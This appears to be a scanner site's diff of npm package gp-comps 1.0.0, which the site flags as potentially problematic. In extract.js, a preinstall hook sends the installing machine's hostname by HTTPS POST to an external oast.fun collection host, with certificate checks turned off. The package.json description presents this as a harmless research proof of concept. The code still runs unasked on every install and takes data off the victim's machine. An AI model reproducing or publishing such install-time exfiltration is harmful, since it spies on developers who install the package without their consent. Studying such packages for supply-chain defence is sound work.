gp-comps 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of gp-comps might be problematic. Click here for more details.
- package/extract.js +26 -0
- package/index.js +3 -0
- package/package.json +11 -0
package/extract.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
var os = require("os");
|
3
|
+
var hostname = os.hostname();
|
4
|
+
|
5
|
+
const data = new TextEncoder().encode(
|
6
|
+
JSON.stringify({
|
7
|
+
payload: hostname,
|
8
|
+
package: "gp-comps"
|
9
|
+
})
|
10
|
+
);
|
11
|
+
|
12
|
+
const options = {
|
13
|
+
hostname: 'ck1883r2vtc00002gaaggjowrbhyyyyyb.oast.fun',
|
14
|
+
port: 443,
|
15
|
+
path: '/',
|
16
|
+
method: 'POST',
|
17
|
+
headers: {
|
18
|
+
'Content-Type': 'application/json',
|
19
|
+
'Content-Length': data.length
|
20
|
+
},
|
21
|
+
rejectUnauthorized: false
|
22
|
+
}
|
23
|
+
|
24
|
+
const req = https.request(options, res => {});
|
25
|
+
req.write(data);
|
26
|
+
req.end();
|
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
{
|
2
|
+
"name": "gp-comps",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "This package is a proof of concept used 4bg0p to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node extract.js"
|
8
|
+
},
|
9
|
+
"author": "4bg0P <4bg0p@wearehackerone.com>",
|
10
|
+
"license": "ISC"
|
11
|
+
}
|